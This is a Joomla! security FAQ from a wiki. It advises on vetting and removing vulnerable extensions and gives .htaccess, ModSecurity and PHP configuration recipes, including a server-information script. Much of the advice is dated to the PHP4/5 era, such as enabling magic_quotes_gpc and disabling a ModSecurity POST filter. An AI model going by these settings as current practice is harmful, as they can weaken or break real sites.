: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla's success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others' Web sites.

: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.

==What is a vulnerable extension?==

A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.

Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:

# Know the version numbers of all installed extensions.
# Use only the latest stable version of all extensions.
# Completely remove all files of insecure or unused extensions.

==How do I choose secure extensions?==

: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.

: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:

1. When was the last version released?

: If it has been over a year, consider the project abandoned and find something else. Do not install old components.

2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)

: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.

3. Does the extension have a history of good security practices?

: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.

4. Is there a support community for this extension?

: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.

5. Is there only a Mambo version of this extension?

: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.

6. Is the extension generally bug free?

: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:

'''Bad Practices:'''

# Having PHP's Register Globals enabled.
# Using out of date or abandoned extension.
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)
# Poorly configured file permissions.
# No request filtering or software "firewall". (such as mod_rewrite rules or mod_security Apache modules)

'''Bugs:'''

# Not including defined('_VALID_MOS') or die... statements
# Poorly constructed include() statements.

'''Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.'''

1. How complex is the extension?

: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can't tell what it's doing, you should not trust it.

2. Does the extension read or write files to your server?

: Programs that read files may inadvertently violate access restrictions you've set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.

3. Does the extension interact with other programs on your system?

: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?

4. Does the extension run with suid (set-user-id) privileges?

: In general this is very dangerous; extensions need an excellent reasons for doing this.

5. Does the extension validate all user input, such as in form fields and in the URL?

6. Does the extension use explicit path names when invoking external programs?

: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.

7. Is the extension secure against direct access throught the URL?

: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here

8. Is the extension secure against remote file inclusions?

9. Is the extension secure against SQL injections?

10. Is the extension secure against Cross Site Scripting (XSS)?

11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON?

: If so, then it is probably violating number 7 above.

12. Does the extension provide higher database access to less privileged users?

: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?

==Why does the Extensions site include insecure extensions?==
'''
Overview'''

The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.

If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.

To be safe, you must verify the security of every extension you install.

Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril.

'''Disclaimer'''

: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.

: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.

==Why is there a warning in the extensions install screen?==

It's just a warning! You are of course free to install any extension you want onto your own site, but remember that '''YOU''' are responsible for the safety of your site and the quality of the applications you install.

The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension's code.

The [[Vulnerable Extensions List]] is a valuable source of information on what '''NOT''' to install.

==Why isn't un-publishing a vulnerable extension enough to protect my site?==

'''Overview'''

: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension's files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.

www.your_site.org/components/com_bad_component/vulnerable_file.php
www.your_site.org/modules/mod_bad_module/vulnerable_file.php

'''Directions for removing a vulnerable extension'''

1. Make a list of files to remove

: If you can locate it, read the extension's xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:

mod_vulnerable.php
mod_vulnerable/vulnerable_file.txt
mod_vulnerable/another_vulnerable_file.txt
mod_vulnerable/yet_another_vulnerable_file.txt
mod_vulnerable/index.html

2. Uninstall via the Joomla Installer:

: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.

3. Check that the uninstall process was complete:

: Don't trust the extension to safely remove all of it's files. Compare directories and files on your system to the extension's xml list to ensure that all related files were actually removed.

4. Optionally, remove related database tables:

: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension's xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)

= Apache =
'''Covers information on Apache Web server, Apache modules, .htaccess files, etc.'''

==What is Apache modSecurity?==

'''Overview'''

ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.

When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.

Quality hosting providers customize mod_security rules to suit each customer.

If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box ''usually'' works with typical ModSecurity settings, but this is dependent on each hosting provider's unique configuration.

Overall, mod_security is a excellent tool, but this is really something your host should manage.

One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding '''SecFilterScanPOST Off''' to your .htaccess file.

ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:

'''Resources'''

# [http://www.modsecurity.org/ Official ModSecurity Site]
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]

== How do I block directory scans using .htaccess? ==

'''Directions'''

Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with "phpMyAdmin" to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.

'''Sample Apache Rewrite Rule'''

RewriteRule ^phpMyAdmin /index.php [L]
RewriteRule ^phpMyAdmin - [F]

'''Some Regular Expression Tips'''

^ Means start of pattern
. Means any character other than newlines
+ Means one or more of the previous character
* Means zero or more of the previous character
$ Means end of pattern
\. Literal periods must be escaped with a leading \

==How can I change PHP settings using .htaccess? ==

'''Introduction'''

This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off

'''Directions'''

1. Open the .htaccess file located in your site's home directory, or if you don't have one, create a blank one now. Note the period character (.) at the beginning of the file name.

2. Add any of the following code samples to your .htaccess file, each on it's own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.

php_flag register_globals off

php_flag allow_url_fopen off

php_flag magic_quotes_gpc on

''Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.''

3. Save the .htaccess file in your site's home directory.

4. Test your site's front end and back end.

==How does FastCGI effect Joomla?==

When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone's scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.

Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server's main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.

If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.

==How can I check if mod_rewrite is enabled?==

Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.

1. Enable SEO in your administrator! (administrator > SEO > Enable > Save)

2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.

3. Place ONLY the following lines in your .htaccess file in the domain root folder.

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]</source>

4. Point your browser to: http://www.example.com/joomla.html

(Replace 'example.com' with your site's actual URL.)

5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.

6. Note: if your site is located in a folder, for example "test" you will need to modify the .htaccess file as follows:

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]</source>

== How do I switch to PHP5 using .htaccess? ==

'''Overview'''

Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.

'''IMPORTANT CAVEAT:''' One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!

Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.

'''Requirements'''

1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.

'''Directions'''

1. Check to be sure your site is configured to use .htaccess files.

2. Make a backup of the .htaccess file in your root public_http directory. If you don't have a .htaccess file at this location, create one now.

3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.

AddType x-mapp-php5 .php
AddHandler application/x-httpd-php5 .php
AddHandler cgi-php5 .php

4. Carefully test.

5. Delete the backup .htaccess file. Don't leave backups of .htaccess files in public directories.

==How do I password protect directories using .htaccess?==

'''Overview'''

This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.

'''Caveat (From Apache.org)'''

Basic authentication should not be considered secure for any particularly rigorous definition of secure.
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.

Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.

And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.

Don't use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.

Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.

'''Directions'''

1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.
Apache Authentication, Authorization, and Access Control

2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.

3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it's probably best to add the new code to it.

4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.

/home/mysite/public_html/.htaccess
/home/mysite/auth/.htpasswd/
/home/mysite/auth/.htgroups/

5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you've read the always current and official documentation at Apache.org, we'll spare you the trouble of displaying it again here.)

6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don't forget the dot at the beginning of the name.)

7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.

AuthUserFile /home/auth/.htpasswd
AuthGroupFile /home/auth/.htgroups
AuthType Basic
AuthName "LWS"
require group admins

8. Test carefully.

9. Remove all backup .htaccess files from public_http directories.

10. If you cannot use the Apache htpasswd utility, here's a free, online script that creates the necessary files for you. You'll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you'll need to edit the resulting files.

'''.htaccess Generator:''' http://www.webmaster-toolkit.com/htaccess-generator.shtml

== How do I restrict directory access by IP address using .htaccess? ==

'''Overview'''

This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.

'''Directions'''
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:

Order Deny,Allow
Deny from all
Allow from 100.100.100.100

* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.

* Optional: You can add multiple addresses by separating them with comma's.

100.100.100.101, 100.100.100.102

==How do I convert an htaccess.txt file into a .htaccess file?==

'''Introduction'''

When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need "AllowOverride Options" or "AllowOverride All" privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.

'''Directions'''

# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.
# Make any adjustments to this file as appropriate for your site, and then save it in your site's home directory as, .htaccess (including the dot).
# Test your site's front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.

'''More Information'''

* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]

== How do I block direct hot linking to image files using .htaccess? ==

'''Caveats'''

# Your server must allow .htaccess files for this technique to work.
# If you do not have a .htaccess file in your root directory, see the related FAQ first.
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.
# Hot linked images can only be replaced by other images, not with HTML pages.
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.

'''Directions'''

# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.
# Place the following code in the .htaccess file of your root directory.

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]</source>

'''Explanation'''

The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means "aNy Case", which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.

'''Block hot linking from specific domains'''

To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]</source>

You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means "Or Next", as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.

'''Display a 403 forbidden code'''

Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:

RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]

= PHP =

== Why is Joomla! written in PHP? ==

: Might as well get it from the horse's mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.

: ''"What it all boils down to is that PHP was never meant to win any beauty contests. It wasn't designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP's stubborness."''

== What is the latest stable release of PHP? ==

Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.

== How do I tune for speed with PHP5 and MySQL5? ==

: This is just a point by point summary of how I've been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.

: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.

# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn't bad for JPG and GIF images either. Don't forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn't write it, but it's short, to the point, and works.

ob_start ("ob_gzhandler");
header("Content-type: text/css");
header("Cache-Control: must-revalidate");
$offset = 60 * 60 ;
$ExpStr = "Expires: " .
gmdate("D, d M Y H:i:s",
time() + $offset) . " GMT";
header($ExpStr);

# Strip unneeded modules, components, mambots from Joomla. If you haven't used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don't necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you've noticed any problems, it's time to fix the code creating them, and test thoroughly before uploading the fixed versions.
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.

== Should PHP run as a CGI script or as an Apache module? ==

There are two ways to configure Apache to use PHP: 

# Configure Apache to load the PHP interpreter as an Apache module
# Configure Apache to run the PHP interpreter as a CGI binary

(PS: Windows IIS normaly configures as CGI by the way) 

It is the intention of this post to provide you information relating to
the configuration and recognition of each method. "In general"
historically only one method or the other has been implemented,
however, with the architectural changes made to PHP starting with PHP5,
it has been quite common for hosting firms to configure for both. One
version running as CGI and one version running as a Module. It is
generally accepted more recently that running PHP as a CGI is more
secure, however, running PHP as an Apache Module does have a slight
performance gain and is generally how most pre-configured systems will
be delivered out of the box.

What is the difference between CGI and apache Module Mode? 

An Apache module
is compiled into the Apache binary, so the PHP interpreter runs in the
Apache process, meaning that when Apache spawns a child, each process
already contains a binary image of PHP. A CGI is executed as a single
process for each request, and must make an exec() or fork() call to the
PHP executable, meaning that each request will create a new process of
the PHP interpreter. Apache is much more efficient in it's ability to
handle requests, and maaging resources, making the Apache module
slightly faster than the CGI (as well as more stable under load). 

CGI Mode
on the other hand, is more secure because the server now manages and
controls access to the binaries. PHP can now run as your own user
rather than the generic Apache user. This means you can put your
database passwords in a file readable only by you and your php scripts
can still access it! The "Group" and "Other" permissions ( refer <a href="component/option,com_easyfaq/task,view/id,73/Itemid,268/" target="_blank">Permissions FAQ</a>

can now be more restrictive. CGI mode is also claimed to be more
flexible in many respects as you should now not see, with phpSuExec (
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html" target="_blank Permissions under phpSuExec]
issues with file ownership being taken over by the Apache user,
therefore you should no-longer have problems under FTP when trying to
access or modify files that have been uploaded through a PHP interface,
such as Joomla! upload options.

If your server is
configured to run PHP as an Apache module, then you will have the
choice of using either php.ini or Apache .htaccess files, however, if
your server runs PHP in CGI mode then you will only have the choice of
using php.ini files locally to change settings, as Apache is no longer
in complete control of PHP.

<hr />

Testing and Reviewing Your PHP Installation 

Also known as "Everything you ever wanted and didn't want to know about PHP"

To
find out the PHP interpreter mode and to generally test your PHP
installation and to find out a vast amount of information about your
PHP environment, supported utilities, applications and settings, you
create a single PHP file containing only the following lines; 


phpinfo(); 

This single line of code outputs an amazing amount of information, be warned.... <img src="http://forum.joomla.org/Smileys/joomla/wink.gif" alt="Wink" border="0" />

Save the file as any filename you wish, but with the ".php" extension. FTP it to your server and open it in a browser.

Other useful information

The following are PHP functions, that when run from a PHP File can provide some useful information, (less than the above option) many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee's offered...

Again,
as above, make a file, name it anything you wish but make sure it has
the ".php" extension, copy and paste the following lines in to it and
FTP to your server. 

<? echo "Hostname: ". @php_uname(n) ."";
if (function_exists( 'shell_exec' )) { echo "Hostname: ".
@gethostbyname(trim(`hostname`)); } else { echo "Server IP: ".
$_SERVER['SERVER_ADDR'] .""; }
echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) ."";
echo "Architecture: ". @php_uname(m) ."";
echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )";
echo "Curent Path: ". getcwd () ."";
echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . "";
echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . "";
echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] ."";
echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] ."";
echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] .""; 
?>

The Joomla! HISA or Joomla! Tools Suite can also assist to determine which mode your server in running in, also
providing a large amount of other related information including recommendations on configuration.

Joomla! Tools Suite (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the "HISA" script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]

Joomla! Health, Installation and Security Audit (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]

*[http://forum.joomla.org/viewtopic.php?t=136328 Forum Discussion Here] (Project is [http://forum.joomla.org/viewtopic.php?p=1804483#p1804483 ''Dormant''] since August 2010)

*[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]

Another Indirect method, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.

Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm

For those wishing to know more about "How To..."

Running PHP as an Apache module 
To configure Apache to load PHP as a module to 'parse' your PHP scripts, the httpd.conf needs to be modified, typically found in "c:\Program Files\Apache Group\Apache\conf\" or "/etc/httpd/conf/".

Search for the section of the file that has a series of commented out "LoadModule" statements. (Statements prefixed by the hash "#" sign are regarded as having been commented out.) If PHP is running in "Apache Module" Mode you should see something very similar to the following;

LoadModule php4_module "c:/php/php4apache.dll"

Apache 1.x

For PHP5
LoadModule php5_module C:/php/php5apache2.dll 
or (platform dependant) 
LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 

LoadModule php4_module C:/php/php4apache.dll 

and
AddModule mod_php4.c 
or 
AddModule mod_php5.c 
 
Apache 2.x 

For PHP5

LoadModule php5_module C:/php/php5apache2.dll 

or (platform dependant)

LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4 

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 
LoadModule php4_module C:/php/php4apache.dll 

and 
AddModule mod_php5.c 

or 
AddModule mod_php4.c 

Note: 
Don't worry that you can't find a "mod_php4.c" or "mod_php5.c" file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server. 

If you're using Apache 2.x, you do not have to insert the AddModule directive. It's no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.

Now find the "AddType" section in the file, and add the following line after the last "AddType" statement:

AddType application/x-httpd-php .php 

If you need to support other file types, like ".php3" and ".phtml", simply add them to the list, like this:<

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Run a syntax check and if all is ok, restart Apache... 

<hr />
Running PHP as a CGI binary 
To configure PHP to run as a CGI, again you will need to configure the
httpd.conf, but confirm that the above settings are not also
configured, unless you now what you are doing you can generate yourself
"HTTP 500" errors. Search your Apache configuration file for the
"ScriptAlias" section.

Add the following line below after the ScriptAlias for "cgi-bin". 

Note:

The location will depend on where PHP is installed on your system, you
should substitute the appropriate path in place of "c:/php/" (for
example, "c:/Program Files/php/"). 

ScriptAlias /php/ "c:/php/" 

Apache
again needs to be configured for the PHP MIME type. Search for the
"AddType" section, and add the following line after it: 

AddType application/x-httpd-php .php 

As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the "Action" section.

Action application/x-httpd-php "/php/php.exe"

If you notice, we have used the "ScriptAlias" reference, "/php/" portion
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. In other words, don't put "c:/php/php.exe" or "c:/Program Files/php/php.exe" in that directive, put
"/php/php.exe", Apache WILL work it out if correctly configured.

Configuring the Default Index Page 
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.

If you want to make your PHP script execute as the default page for a directory, you have to add another line to the "httpd.conf". Simply search for the line in the file that begins with a "DirectoryIndex" and add "index.php" to the list of files on
that line. For example, if the line used to be:

DirectoryIndex index.html

change it to

DirectoryIndex index.html index.php 
If you still wish .html files to be executed before .php files 
 
or 
DirectoryIndex index.php index.html 
If you wish .php files to be executed before .html files

The next time you access the site or a directory within a site without a
filename, Apache will "auto-magically" deliver "index.php" if
available, or "index.html" if "index.php" is not available.

== Why shouldn't I use PHP safe_mode? ==
'''Overview'''
